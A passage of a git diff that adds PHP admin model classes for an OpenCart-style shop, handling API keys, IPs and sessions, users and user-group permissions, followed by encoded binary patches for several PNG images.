+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+ }
+ }
+
+ return $api_id;
+ }
+
+ public function editApi($api_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "api` SET username = '" . $this->db->escape($data['username']) . "', `key` = '" . $this->db->escape($data['key']) . "', status = '" . (int)$data['status'] . "', date_modified = NOW() WHERE api_id = '" . (int)$api_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "api_ip WHERE api_id = '" . (int)$api_id . "'");
+
+ if (isset($data['api_ip'])) {
+ foreach ($data['api_ip'] as $ip) {
+ if ($ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteApi($api_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "api` WHERE api_id = '" . (int)$api_id . "'");
+ }
+
+ public function getApi($api_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api` WHERE api_id = '" . (int)$api_id . "'");
+
+ return $query->row;
+ }
+
+ public function getApis($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "api`";
+
+ $sort_data = array(
+ 'username',
+ 'status',
+ 'date_added',
+ 'date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY username";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalApis() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "api`");
+
+ return $query->row['total'];
+ }
+
+ public function addApiIp($api_id, $ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+
+ public function getApiIps($api_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api_ip` WHERE api_id = '" . (int)$api_id . "'");
+
+ return $query->rows;
+ }
+
+ public function addApiSession($api_id, $session_id, $ip) {
+ $api_ip_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api_ip` WHERE ip = '" . $this->db->escape($ip) . "'");
+
+ if (!$api_ip_query->num_rows) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_ip` SET api_id = '" . (int)$api_id . "', ip = '" . $this->db->escape($ip) . "'");
+ }
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "api_session` SET api_id = '" . (int)$api_id . "', session_id = '" . $this->db->escape($session_id) . "', ip = '" . $this->db->escape($ip) . "', date_added = NOW(), date_modified = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function getApiSessions($api_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "api_session` WHERE api_id = '" . (int)$api_id . "'");
+
+ return $query->rows;
+ }
+
+ public function deleteApiSession($api_session_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "api_session` WHERE api_session_id = '" . (int)$api_session_id . "'");
+ }
+
+ public function deleteApiSessionBySessionId($session_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "api_session` WHERE session_id = '" . $this->db->escape($session_id) . "'");
+ }
+}
diff --git a/public/admin/model/user/user.php b/public/admin/model/user/user.php
new file mode 100644
index 0000000..88167c7
--- /dev/null
+++ b/public/admin/model/user/user.php
@@ -0,0 +1,128 @@
+db->query("INSERT INTO `" . DB_PREFIX . "user` SET username = '" . $this->db->escape($data['username']) . "', user_group_id = '" . (int)$data['user_group_id'] . "', salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', image = '" . $this->db->escape($data['image']) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editUser($user_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET username = '" . $this->db->escape($data['username']) . "', user_group_id = '" . (int)$data['user_group_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', image = '" . $this->db->escape($data['image']) . "', status = '" . (int)$data['status'] . "' WHERE user_id = '" . (int)$user_id . "'");
+
+ if ($data['password']) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "' WHERE user_id = '" . (int)$user_id . "'");
+ }
+ }
+
+ public function editPassword($user_id, $password) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($password)))) . "', code = '' WHERE user_id = '" . (int)$user_id . "'");
+ }
+
+ public function editCode($email, $code) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "user` SET code = '" . $this->db->escape($code) . "' WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+ }
+
+ public function deleteUser($user_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "user` WHERE user_id = '" . (int)$user_id . "'");
+ }
+
+ public function getUser($user_id) {
+ $query = $this->db->query("SELECT *, (SELECT ug.name FROM `" . DB_PREFIX . "user_group` ug WHERE ug.user_group_id = u.user_group_id) AS user_group FROM `" . DB_PREFIX . "user` u WHERE u.user_id = '" . (int)$user_id . "'");
+
+ return $query->row;
+ }
+
+ public function getUserByUsername($username) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "user` WHERE username = '" . $this->db->escape($username) . "'");
+
+ return $query->row;
+ }
+
+ public function getUserByEmail($email) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "user` WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+
+ return $query->row;
+ }
+
+ public function getUserByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "user` WHERE code = '" . $this->db->escape($code) . "' AND code != ''");
+
+ return $query->row;
+ }
+
+ public function getUsers($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "user`";
+
+ $sort_data = array(
+ 'username',
+ 'status',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY username";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalUsers() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "user`");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalUsersByGroupId($user_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "user` WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalUsersByEmail($email) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "user` WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addLoginAttempt($username) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_login WHERE email = '" . $this->db->escape(utf8_strtolower((string)$username)) . "' AND ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "'");
+
+ if (!$query->num_rows) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_login SET email = '" . $this->db->escape(utf8_strtolower((string)$username)) . "', ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "', total = 1, date_added = '" . $this->db->escape(date('Y-m-d H:i:s')) . "', date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "'");
+ } else {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer_login SET total = (total + 1), date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "' WHERE customer_login_id = '" . (int)$query->row['customer_login_id'] . "'");
+ }
+ }
+
+ public function getLoginAttempts($username) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "customer_login` WHERE email = '" . $this->db->escape(utf8_strtolower($username)) . "'");
+
+ return $query->row;
+ }
+
+ public function deleteLoginAttempts($username) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_login` WHERE email = '" . $this->db->escape(utf8_strtolower($username)) . "'");
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/user/user_group.php b/public/admin/model/user/user_group.php
new file mode 100644
index 0000000..acf2776
--- /dev/null
+++ b/public/admin/model/user/user_group.php
@@ -0,0 +1,85 @@
+db->query("INSERT INTO " . DB_PREFIX . "user_group SET name = '" . $this->db->escape($data['name']) . "', permission = '" . (isset($data['permission']) ? $this->db->escape(json_encode($data['permission'])) : '') . "'");
+
+ return $this->db->getLastId();
+ }
+
+ public function editUserGroup($user_group_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "user_group SET name = '" . $this->db->escape($data['name']) . "', permission = '" . (isset($data['permission']) ? $this->db->escape(json_encode($data['permission'])) : '') . "' WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+
+ public function deleteUserGroup($user_group_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+
+ public function getUserGroup($user_group_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ $user_group = array(
+ 'name' => $query->row['name'],
+ 'permission' => json_decode($query->row['permission'], true)
+ );
+
+ return $user_group;
+ }
+
+ public function getUserGroups($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "user_group";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalUserGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "user_group");
+
+ return $query->row['total'];
+ }
+
+ public function addPermission($user_group_id, $type, $route) {
+ $user_group_query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ if ($user_group_query->num_rows) {
+ $data = json_decode($user_group_query->row['permission'], true);
+
+ $data[$type][] = $route;
+
+ $this->db->query("UPDATE " . DB_PREFIX . "user_group SET permission = '" . $this->db->escape(json_encode($data)) . "' WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+ }
+
+ public function removePermission($user_group_id, $type, $route) {
+ $user_group_query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_group_id . "'");
+
+ if ($user_group_query->num_rows) {
+ $data = json_decode($user_group_query->row['permission'], true);
+
+ $data[$type] = array_diff($data[$type], array($route));
+
+ $this->db->query("UPDATE " . DB_PREFIX . "user_group SET permission = '" . $this->db->escape(json_encode($data)) . "' WHERE user_group_id = '" . (int)$user_group_id . "'");
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/view/image/advertise/google/ad-preview.png b/public/admin/view/image/advertise/google/ad-preview.png
new file mode 100644
index 0000000000000000000000000000000000000000..f652d855ae61812cc6d7afb501d95a60a97643d7
GIT binary patch
literal 7517
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
literal 0
HcmV?d00001
diff --git a/public/admin/view/image/checkmark.png b/public/admin/view/image/checkmark.png
new file mode 100644
index 0000000000000000000000000000000000000000..ad85a91027713d18ea4a3d7b7d22dfe540e38f5f
GIT binary patch
literal 169
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
